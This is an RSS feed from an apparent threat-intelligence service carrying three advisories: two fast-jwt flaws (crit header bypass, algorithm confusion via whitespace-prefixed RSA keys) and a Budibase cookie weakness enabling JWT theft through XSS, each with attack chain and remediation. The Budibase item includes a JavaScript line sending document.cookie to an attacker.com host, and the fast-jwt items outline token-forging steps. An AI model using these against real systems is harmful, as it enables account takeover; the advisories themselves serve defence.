<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Jwt — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/tags/jwt/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 03 Apr 2026 22:01:25 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/tags/jwt/feed.xml" rel="self" type="application/rss+xml"/><item><title>fast-jwt Library Vulnerability Allows crit Header Validation Bypass</title><link>https://feed.craftedsignal.io/briefs/2026-04-fast-jwt-crit-validation-bypass/</link><pubDate>Fri, 03 Apr 2026 22:01:25 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-fast-jwt-crit-validation-bypass/</guid><description>The fast-jwt library fails to validate the 'crit' header, allowing attackers to bypass security policies and potentially achieve split-brain verification in mixed-library environments.</description><content:encoded><![CDATA[<p>The <code>fast-jwt</code> library, versions 6.1.0 and below, exhibits a critical vulnerability where it does not properly validate the <code>crit</code> (Critical) Header Parameter as defined in RFC 7515. This oversight allows JWS tokens containing unrecognized extensions within the <code>crit</code> array to be accepted instead of being rejected as mandated by the RFC. The vulnerability, identified as CVE-2026-35042, can lead to significant security implications, especially in environments utilizing a mix of JWT verification libraries. This flaw enables attackers to potentially bypass security policies and token binding protections, creating a window for unauthorized access or actions.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker crafts a JWT with a <code>crit</code> header containing an extension (e.g., &ldquo;x-custom-policy&rdquo;) that <code>fast-jwt</code> does not support.</li>
<li>The attacker includes this unsupported extension header (e.g., <code>&quot;x-custom-policy&quot;: &quot;require-mfa&quot;</code>) in the JWT header.</li>
<li>The attacker signs the JWT using a valid signing key and algorithm (e.g., HS256).</li>
<li>The attacker presents the crafted JWT to a system or application using the vulnerable <code>fast-jwt</code> library for verification.</li>
<li>The <code>fast-jwt</code> library incorrectly accepts the token without validating the <code>crit</code> header extensions.</li>
<li>The application logic proceeds based on the accepted (but invalid) JWT, potentially granting unauthorized access or privileges.</li>
<li>If other JWT libraries are used in the same environment that <em>do</em> properly validate the <code>crit</code> header, a &ldquo;split-brain&rdquo; verification scenario can occur, with some systems rejecting the token while others accept it.</li>
<li>The ultimate objective is to bypass intended security policies, such as multi-factor authentication or token binding requirements, gaining unauthorized access or control.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability (CVE-2026-35042) can lead to several critical consequences. First, in mixed-library environments, it creates a split-brain verification scenario where different systems interpret the same token differently. Second, it allows attackers to bypass security policies enforced through the <code>crit</code> header, such as mandatory multi-factor authentication. Finally, it can circumvent token binding mechanisms (RFC 7800 <code>cnf</code> confirmation), weakening overall authentication security. The full impact analysis is described in CVE-2025-59420. This vulnerability affects applications using <code>fast-jwt</code> version 6.1.0 and earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade the <code>fast-jwt</code> library to a version greater than 6.1.0 to remediate CVE-2026-35042.</li>
<li>Deploy the Sigma rule &ldquo;Detect fast-jwt crit Header Bypass Attempt&rdquo; to identify attempts to exploit this vulnerability in your environment.</li>
<li>If a mixed-library JWT verification environment exists, evaluate and standardize on a single JWT library that correctly handles the <code>crit</code> header parameter.</li>
<li>Review existing JWT usage to identify instances where the <code>crit</code> header is used for security policy enforcement and ensure that appropriate validation is in place.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>jwt</category><category>vulnerability</category><category>authentication</category><category>authorization</category></item><item><title>fast-jwt Library JWT Algorithm Confusion Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-04-fast-jwt-bypass/</link><pubDate>Fri, 03 Apr 2026 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-04-fast-jwt-bypass/</guid><description>The fast-jwt library is vulnerable to JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key due to an incomplete fix for CVE-2023-48223, allowing attackers to bypass intended security measures by exploiting leading whitespace in the RSA public key, enabling attackers to sign arbitrary payloads that will be accepted by the verifier, potentially leading to privilege escalation.</description><content:encoded><![CDATA[<p>The fast-jwt library, a popular Node.js package for handling JSON Web Tokens (JWTs), contains a vulnerability related to algorithm confusion. An incomplete fix for CVE-2023-48223 (GHSA-c2ff-88x2-x9pg) allows attackers to bypass intended security measures by exploiting leading whitespace in the RSA public key. Specifically, the <code>publicKeyPemMatcher</code> regex in <code>fast-jwt/src/crypto.js</code> does not account for leading whitespace, causing RSA public keys to be misclassified as HMAC secrets. This allows attackers to forge HS256 tokens using the RSA public key, leading to unauthorized access and privilege escalation. The vulnerability affects fast-jwt versions &lt;= 6.1.0. This issue is a direct bypass of the fix for CVE-2023-48223.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker identifies a server using the vulnerable fast-jwt library for JWT verification.</li>
<li>The attacker retrieves the server&rsquo;s RSA public key, which is often publicly available.</li>
<li>The attacker adds leading whitespace (e.g., a newline character) to the RSA public key.</li>
<li>The attacker crafts a malicious JWT with the header specifying the HS256 algorithm (<code>alg: 'HS256'</code>).</li>
<li>The attacker sets the payload of the JWT to contain desired claims, such as <code>admin: true</code>.</li>
<li>The attacker uses the whitespace-prefixed RSA public key as the HMAC secret to sign the JWT.</li>
<li>The attacker presents the forged HS256 token to the vulnerable server.</li>
<li>The server, due to the algorithm confusion vulnerability, incorrectly verifies the token using the RSA public key as an HMAC secret and grants unauthorized access based on the claims in the forged token.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability allows attackers to bypass authentication and authorization controls, potentially gaining administrative privileges or access to sensitive data. This could lead to data breaches, system compromise, and reputational damage. The impact is significant due to the widespread use of the fast-jwt library in various applications. This is a direct bypass of the fix for CVE-2023-48223.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to a patched version of the <code>fast-jwt</code> library that addresses this vulnerability. This will require updating the <code>fast-jwt</code> package in your <code>package.json</code> file and redeploying your application.</li>
<li>As an immediate mitigation, sanitize RSA public keys by trimming leading whitespace before using them with the <code>fast-jwt</code> library. This can be done using the <code>.trim()</code> method in JavaScript before passing the key to the <code>createVerifier</code> function.</li>
<li>Deploy the Sigma rule that detects HS256 tokens being verified with RSA keys based on process creation logs to identify potential exploitation attempts.</li>
<li>Implement logging and monitoring for JWT verification processes to detect anomalies and suspicious activity. Specifically, monitor for instances where HS256 is used with keys that appear to be RSA public keys.</li>
<li>Review and update any existing security controls related to JWT handling to ensure they are effective against this type of algorithm confusion attack.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>jwt</category><category>algorithm-confusion</category><category>vulnerability</category><category>fast-jwt</category><category>nodejs</category></item><item><title>Budibase XSS Leads to Account Takeover via JWT Theft</title><link>https://feed.craftedsignal.io/briefs/2024-01-budibase-account-takeover/</link><pubDate>Tue, 02 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-budibase-account-takeover/</guid><description>The `budibase:auth` cookie in Budibase is set without the `httpOnly` flag, enabling attackers with XSS to steal JWTs and gain persistent access to user accounts.</description><content:encoded><![CDATA[<p>Budibase, a low-code platform, is vulnerable to account takeover due to the insecure configuration of its authentication cookie. The <code>budibase:auth</code> cookie, which stores the JWT session token, is set without the <code>httpOnly</code> flag. This allows JavaScript, including malicious scripts injected via Cross-Site Scripting (XSS) vulnerabilities like GHSA-gp5x-2v54-v2q5, to access the cookie&rsquo;s contents.  An attacker exploiting this can steal the JWT and use it to impersonate the victim, gaining persistent access to their account.  Furthermore, the cookie lacks the <code>secure</code> and <code>sameSite</code> attributes, exacerbating the risk. This vulnerability affects all Budibase deployments running versions prior to 3.35.10, as the insecure cookie configuration is hardcoded in the backend.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a Budibase instance running a vulnerable version (prior to 3.35.10).</li>
<li>Attacker exploits an existing XSS vulnerability, such as the stored XSS via unsanitized entity names (GHSA-gp5x-2v54-v2q5).</li>
<li>The attacker crafts a malicious JavaScript payload designed to read the <code>budibase:auth</code> cookie using <code>document.cookie</code>.</li>
<li>The injected JavaScript executes within the victim&rsquo;s browser when they interact with the application (e.g., viewing an entity with a malicious name).</li>
<li>The malicious script retrieves the JWT session token from the <code>budibase:auth</code> cookie.</li>
<li>The script exfiltrates the stolen JWT to an attacker-controlled server, for example, by sending it as a URL parameter in an image request: <code>new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);</code>.</li>
<li>The attacker uses the stolen JWT to authenticate to the Budibase application, bypassing normal login procedures.</li>
<li>The attacker gains persistent access to the victim&rsquo;s account and can perform actions as the victim, including accessing sensitive data, modifying application configurations, and creating new malicious entities.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The lack of the <code>httpOnly</code> flag on the <code>budibase:auth</code> cookie transforms every XSS vulnerability in Budibase into a critical account takeover risk. Attackers can persistently compromise user accounts, leading to potential data breaches, unauthorized application modifications, and further propagation of malicious content. This impacts all Budibase deployments running vulnerable versions, potentially affecting a wide range of organizations using the platform for their internal applications and workflows. The vulnerability allows attackers to bypass authentication controls and gain full control over compromised accounts.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Budibase to version 3.35.10 or later to address the insecure cookie configuration in <code>packages/backend-core/src/utils/utils.ts</code>.</li>
<li>Deploy the following Sigma rule to detect potential JWT theft attempts via unusual network connections originating from the browser.</li>
<li>Review and remediate all existing XSS vulnerabilities within your Budibase applications, as they can now lead to full account takeover.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>account takeover</category><category>jwt</category><category>cookie</category></item></channel></rss>